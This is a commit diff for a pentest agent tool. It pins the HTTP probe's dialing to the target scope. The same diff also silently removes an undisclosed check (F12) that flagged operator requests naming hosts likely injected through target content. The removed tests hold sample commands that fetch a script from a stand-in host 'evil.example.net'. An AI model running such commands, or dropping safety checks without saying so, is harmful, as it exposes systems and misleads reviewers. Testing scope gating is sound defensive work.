Compare commits

..
Author SHA1 Message Date
BaaRai 3528287d61 enrich: route the HTTP probe through the pinned dialer (F13)
doHTTP now connects through intercept.PinnedDialer under the target scope of the request's context, so the probe uses the same pinned-address dial as the target gate. ProbeSite takes the context of the call that asks for the probe. A probe without a scope is refused; with the gate on, the probe bypasses the recording proxy so the dialer decides on the target itself. The path stays dormant: nothing calls ProbeSite on main.
2026-11-12 11:53:33 +01:00
7 changed files with 119 additions and 154 deletions
+1 -1
View File
@@ -221,7 +221,7 @@ func (t *ToolSet) SetNotifyFinding(fn func(int64, string)) { t.notifyFinding = f
// enrich). Kept as an interface here to avoid coupling agent → enrich.
type EnrichTrigger interface {
ResolveDomain(id int64, host string)
ProbeSite(id int64, url string)
ProbeSite(ctx context.Context, id int64, url string)
}
// WriteCounts breaks down what a worker persisted this run, by node kind, so the
+24 -9
View File
@@ -7,6 +7,7 @@
package enrich
import (
"context"
"crypto/tls"
"html"
"io"
@@ -20,6 +21,7 @@ import (
"time"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/intercept"
"github.com/miekg/dns"
"github.com/projectdiscovery/dnsx/libs/dnsx"
@@ -34,8 +36,9 @@ const (
type job struct {
kind jobKind
id int64 // asset id (domain for DNS, site for HTTP)
arg string // host (DNS) or url (HTTP)
id int64 // asset id (domain for DNS, site for HTTP)
arg string // host (DNS) or url (HTTP)
ctx context.Context // HTTP: carries the target scope the probe dials under
}
// Engine owns the resolver, the proxy-routed HTTP client, and the worker pool.
@@ -90,15 +93,23 @@ func New(as *db.AssetStore, proxy func() string, workers int) *Engine {
// buildClient returns an HTTP client that dials via the recording proxy (resolved
// per-request via proxy(), so the traffic-capture toggle applies live) and skips
// TLS verification (the proxy re-signs with its MITM CA; targets are often
// self-signed — this is a pentest probe).
// self-signed — this is a pentest probe). Every connection goes through
// intercept.PinnedDialer, under the target scope of the request's context: a
// probe without a scope is refused. When the scope's gate is on, the probe
// connects to the target itself, without the proxy, so that the dialer decides
// on the target and connects only to the addresses a pin covers.
func buildClient(proxy func() string) *http.Client {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives: true,
TLSHandshakeTimeout: httpTimeout,
DialContext: intercept.PinnedDialer("enrich", true),
}
if proxy != nil {
tr.Proxy = func(*http.Request) (*url.URL, error) {
tr.Proxy = func(req *http.Request) (*url.URL, error) {
if intercept.GateOn(req.Context()) {
return nil, nil // direct: the dialer decides on the target
}
p := proxy()
if p == "" {
return nil, nil // direct
@@ -116,10 +127,14 @@ func buildClient(proxy func() string) *http.Client {
// ResolveDomain enqueues a DNS resolution for a domain asset (ungated). host is the
// FQDN. No-op for an empty engine.
func (e *Engine) ResolveDomain(id int64, host string) { e.enqueue(job{jobDNS, id, host}) }
func (e *Engine) ResolveDomain(id int64, host string) { e.enqueue(job{jobDNS, id, host, nil}) }
// ProbeSite enqueues an HTTP probe for a web-asset (site). rawURL is the site URL.
func (e *Engine) ProbeSite(id int64, rawURL string) { e.enqueue(job{jobHTTP, id, rawURL}) }
// ctx carries the target scope of the call that asks for the probe: the probe
// connects under that scope (see buildClient).
func (e *Engine) ProbeSite(ctx context.Context, id int64, rawURL string) {
e.enqueue(job{jobHTTP, id, rawURL, ctx})
}
func (e *Engine) enqueue(j job) {
if e == nil || id0(j.id) || j.arg == "" {
@@ -155,7 +170,7 @@ func (e *Engine) worker() {
case jobDNS:
e.doDNS(j.id, j.arg)
case jobHTTP:
e.doHTTP(j.id, j.arg)
e.doHTTP(j.ctx, j.id, j.arg)
}
}
}
@@ -221,12 +236,12 @@ func (e *Engine) doDNS(id int64, host string) {
var reTitle = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
func (e *Engine) doHTTP(id int64, rawURL string) {
func (e *Engine) doHTTP(ctx context.Context, id int64, rawURL string) {
host := hostOf(rawURL)
if host == "" {
return
}
req, err := http.NewRequest("GET", rawURL, nil)
req, err := http.NewRequestWithContext(ctx, "GET", rawURL, nil)
if err != nil {
return
}
+56
View File
@@ -0,0 +1,56 @@
package intercept_test
import (
"context"
"net"
"slices"
"testing"
"time"
"github.com/Autumn-27/artex/enrich"
"github.com/Autumn-27/artex/intercept"
)
// F13: the HTTP probe of the enrich engine connects through the pinned dialer.
// A probe without a target scope is refused and dials nothing; a probe under a
// gated scope dials the address the pin holds, never the name, and not the
// recording proxy. Without a database: no address reached here is served, so
// no probe writes to the asset store.
func TestEnrichProbeDialsThroughPinnedDialer(t *testing.T) {
l, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
proxyAddr := l.Addr().String() // closed: a dial to it is refused
l.Close()
for _, tc := range []struct {
name string
proxy func() string
}{
{"direct", nil},
{"recording proxy set", func() string { return "http://" + proxyAddr }},
} {
t.Run(tc.name, func(t *testing.T) {
g := intercept.NewDialGate(t)
g.Resolve("app.example.com", "203.0.113.7")
g.Pin("app.example.com", 8080, "203.0.113.7")
g.Exempt("http://" + proxyAddr)
e := enrich.New(nil, tc.proxy, 1)
t.Cleanup(e.Close)
// One worker: the probe without a scope runs to its end first.
e.ProbeSite(context.Background(), 1, "http://app.example.com:8080/")
e.ProbeSite(g.Ctx(), 2, "http://app.example.com:8080/")
deadline := time.Now().Add(5 * time.Second)
for len(g.Calls()) == 0 && time.Now().Before(deadline) {
time.Sleep(10 * time.Millisecond)
}
time.Sleep(100 * time.Millisecond)
if got := g.Calls(); !slices.Equal(got, []string{"203.0.113.7:8080"}) {
t.Fatalf("dialled %v, want the pinned address only, through the pinned dialer", got)
}
})
}
}
+33
View File
@@ -0,0 +1,33 @@
package intercept
import (
"context"
"testing"
)
// DialGate exposes the pinned-dial fixture of target_dial_test.go to the tests
// of package intercept_test, which may import the packages that import
// intercept (enrich).
type DialGate struct {
g *gateFixture
rec *dialRecorder
}
func NewDialGate(t *testing.T) *DialGate {
g, rec := dialGate(t)
return &DialGate{g: g, rec: rec}
}
// Ctx returns a context carrying the fixture's target scope, gate on.
func (d *DialGate) Ctx() context.Context { return d.g.ctx() }
func (d *DialGate) Pin(host string, port int, ips ...string) { d.g.pin(host, port, ips...) }
func (d *DialGate) Resolve(host string, ips ...string) { d.g.res.set(host, ips...) }
func (d *DialGate) Exempt(urls ...string) {
d.g.ic.SetDerivedExemptions(func() []string { return urls })
}
// Calls returns every address the base dialer was asked to connect to.
func (d *DialGate) Calls() []string { return d.rec.calls() }
+1 -80
View File
@@ -11,8 +11,6 @@ import (
"time"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/intercept"
actool "github.com/Autumn-27/norma/tool"
)
@@ -66,7 +64,7 @@ func (s *Server) toolAskOperator() actool.CoreTool {
return actool.Errorf("Error: " + err.Error()), nil
}
text := "OPERATOR INPUT REQUESTED: " + q + " (this intent is pausing; reply here to resume it with your answer)"
act := askOperatorActivity(text, att, targetDerivedHosts(q, goalTargets(t.Goal)))
act := userActivityWithAttachments("worker", text, att)
node := ri.IntentID
act.NodeID = &node
s.engine.emitActivity(t, act)
@@ -79,83 +77,6 @@ func (s *Server) toolAskOperator() actool.CoreTool {
})
}
// commandTargets reads the network targets of a free text with the gate's
// command-string rules (intercept.ExtractTargets on a Bash command): URLs with a
// scheme, IP literals, IP:port, host:port and CIDR. A bare host name is not read.
func commandTargets(s string) []intercept.Target {
in, _ := json.Marshal(map[string]string{"command": s})
return intercept.ExtractTargets("Bash", in)
}
// goalTargets returns the goal targets a question is compared against: the
// commandTargets of the goal plus the bare host names the goal gate accepts
// (goalDomainRE), which commandTargets does not read. A goalDomainRE match
// covers two labels only (app.example.com matches as app.example), so each match
// is widened to its whole dotted name; port and path are left out and the name
// is lowercased.
func goalTargets(goal string) []intercept.Target {
out := commandTargets(goal)
end := 0
for _, m := range goalDomainRE.FindAllStringIndex(goal, -1) {
if m[0] < end {
continue // inside a name already taken
}
start := m[0]
for start > 0 && isHostByte(goal[start-1]) {
start--
}
end = m[0]
for end < len(goal) && isHostByte(goal[end]) {
end++
}
if h := strings.ToLower(strings.Trim(goal[start:end], ".-")); h != "" {
out = append(out, intercept.Target{Kind: intercept.TargetDomain, Host: h})
}
}
return out
}
func isHostByte(c byte) bool {
return c == '.' || c == '-' || c >= '0' && c <= '9' || c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z'
}
// targetDerivedHosts returns the hosts an ask_operator question names that are
// not among the goal targets, without duplicates, in order of appearance (audit
// F12). Such a host came from somewhere other than the operator's goal, most
// likely from target content the worker read. Hosts are compared without the
// port. An empty goal list makes every named host count.
func targetDerivedHosts(question string, goal []intercept.Target) []string {
inGoal := map[string]bool{}
for _, g := range goal {
inGoal[g.Host] = true
}
var out []string
seen := map[string]bool{}
for _, t := range commandTargets(question) {
if !inGoal[t.Host] && !seen[t.Host] {
seen[t.Host] = true
out = append(out, t.Host)
}
}
return out
}
// askOperatorActivity builds the transcript turn of a request. derived lists the
// hosts of targetDerivedHosts: when there are any, they are stored as a field of
// the Detail payload for the operator UI, which tags the request with them. The
// text is unchanged, and the request is delivered and paused the same way.
func askOperatorActivity(text string, att []chatAttachment, derived []string) db.Activity {
a := userActivityWithAttachments("worker", text, att)
if len(derived) > 0 {
if att == nil {
att = []chatAttachment{} // the UI reads the JSON form only with an attachments array
}
blob, _ := json.Marshal(map[string]any{"text": text, "attachments": att, "target_derived_hosts": derived})
a.Detail = string(blob)
}
return a
}
// stageAskOperatorImage copies the referenced image into the task's uploads dir
// (the same place chat uploads land, so the transcript attachment card resolves)
// and returns the attachment descriptor. Empty src returns no attachment.
-50
View File
@@ -6,8 +6,6 @@ import (
"path/filepath"
"strings"
"testing"
"github.com/Autumn-27/artex/intercept"
)
func TestStageAskOperatorImage(t *testing.T) {
@@ -71,54 +69,6 @@ func TestAskOperatorActivityShape(t *testing.T) {
}
}
// F12: a host the question names outside the goal targets tags the request;
// a host of the goal, written alone or inside a URL, does not.
func TestTargetDerivedHosts(t *testing.T) {
goal := commandTargets("Test https://app.example.com/login and 10.0.0.5:8080 for auth bypass")
bare := goalTargets("Find auth bypass on app.example.com; success = a request that reads another user's profile")
cases := []struct {
name string
question string
goal []intercept.Target
want []string
}{
{"in-goal host", "Please run: nc -v 10.0.0.5:8443 and paste the banner", goal, nil},
{"out-of-goal host", "Please run: curl -s http://evil.example.net/x.sh and paste the output", goal, []string{"evil.example.net"}},
{"URL with an in-goal host", "Run curl -sk https://app.example.com/api/v2/me?id=1 in your terminal", goal, nil},
{"empty goal list tags any host", "Run curl -sk https://app.example.com/api/v2/me", nil, []string{"app.example.com"}},
{"no host", "Enter the 6-digit code sent to the test account", goal, nil},
{"URL with a bare-domain goal host", "Run curl -sk https://app.example.com:8443/api/v2/me in your terminal", bare, nil},
{"out-of-goal host with a bare-domain goal", "Please run: curl -s http://evil.example.net/x.sh and paste the output", bare, []string{"evil.example.net"}},
}
for _, c := range cases {
got := targetDerivedHosts(c.question, c.goal)
if strings.Join(got, ",") != strings.Join(c.want, ",") {
t.Errorf("%s: got %v, want %v", c.name, got, c.want)
}
}
}
// The tag is a field of the Detail payload: the text stays the question, and an
// untagged request without a screenshot keeps its plain-text form.
func TestAskOperatorActivityTag(t *testing.T) {
text := "OPERATOR INPUT REQUESTED: run curl http://evil.example.net/"
if a := askOperatorActivity(text, nil, nil); a.Detail != "" || a.Summary != text {
t.Fatalf("untagged request changed: %+v", a)
}
a := askOperatorActivity(text, nil, []string{"evil.example.net"})
var parsed struct {
Text string `json:"text"`
Attachments []chatAttachment `json:"attachments"`
TargetDerivedHosts []string `json:"target_derived_hosts"`
}
if err := json.Unmarshal([]byte(a.Detail), &parsed); err != nil {
t.Fatal(err)
}
if parsed.Text != text || a.Summary != text || parsed.Attachments == nil || len(parsed.TargetDerivedHosts) != 1 {
t.Fatalf("unexpected tagged payload: %s", a.Detail)
}
}
// The tool description must tell agents what to do on environmental blocks:
// hand the operator one copy-pastable command instead of retrying or hunting
// for bypasses. Pattern adapted from bug-bounty-hunting-prompts (MIT).
+4 -14
View File
@@ -564,15 +564,13 @@ type MsgAttachment = { name: string; path: string; size: number };
// parseUserBody splits a user turn's body into text + attachments. The backend stores
// Detail as JSON {text, attachments} when files were uploaded, else plain text — so we
// parse defensively and fall back to treating the whole body as text. An ask_operator
// request that names hosts outside the task goal also carries target_derived_hosts (F12).
function parseUserBody(body: string): { text: string; attachments: MsgAttachment[]; targetDerivedHosts?: string[] } {
// parse defensively and fall back to treating the whole body as text.
function parseUserBody(body: string): { text: string; attachments: MsgAttachment[] } {
if (body.startsWith("{")) {
try {
const p = JSON.parse(body);
if (p && Array.isArray(p.attachments)) {
const hosts = Array.isArray(p.target_derived_hosts) ? (p.target_derived_hosts as string[]) : undefined;
return { text: typeof p.text === "string" ? p.text : "", attachments: p.attachments, targetDerivedHosts: hosts };
return { text: typeof p.text === "string" ? p.text : "", attachments: p.attachments };
}
} catch {
/* plain text that merely starts with "{" */
@@ -602,18 +600,10 @@ function UserRow({ step, intent, getDetail }: { step: Activity; intent?: boolean
live = false;
};
}, [inView, step.seq, getDetail, step.summary, inline]);
const { text, attachments, targetDerivedHosts } = parseUserBody(full ?? step.summary);
const { text, attachments } = parseUserBody(full ?? step.summary);
return (
<div ref={ref} className="mt-3 mb-2 flex min-w-0 justify-end gap-2">
<div className="flex min-w-0 max-w-[85%] flex-col items-end gap-1.5">
{targetDerivedHosts && targetDerivedHosts.length > 0 && (
<span
className="rounded-md border border-amber-500/50 bg-amber-500/10 px-2 py-0.5 text-amber-700 text-xs [overflow-wrap:anywhere] dark:text-amber-400"
title="This request names hosts that are not in the task goal; they may come from target content."
>
Contains target-derived text: {targetDerivedHosts.join(", ")}
</span>
)}
{attachments.length > 0 && (
<div className="flex min-w-0 max-w-full flex-wrap justify-end gap-1.5">
{attachments.map((a) => (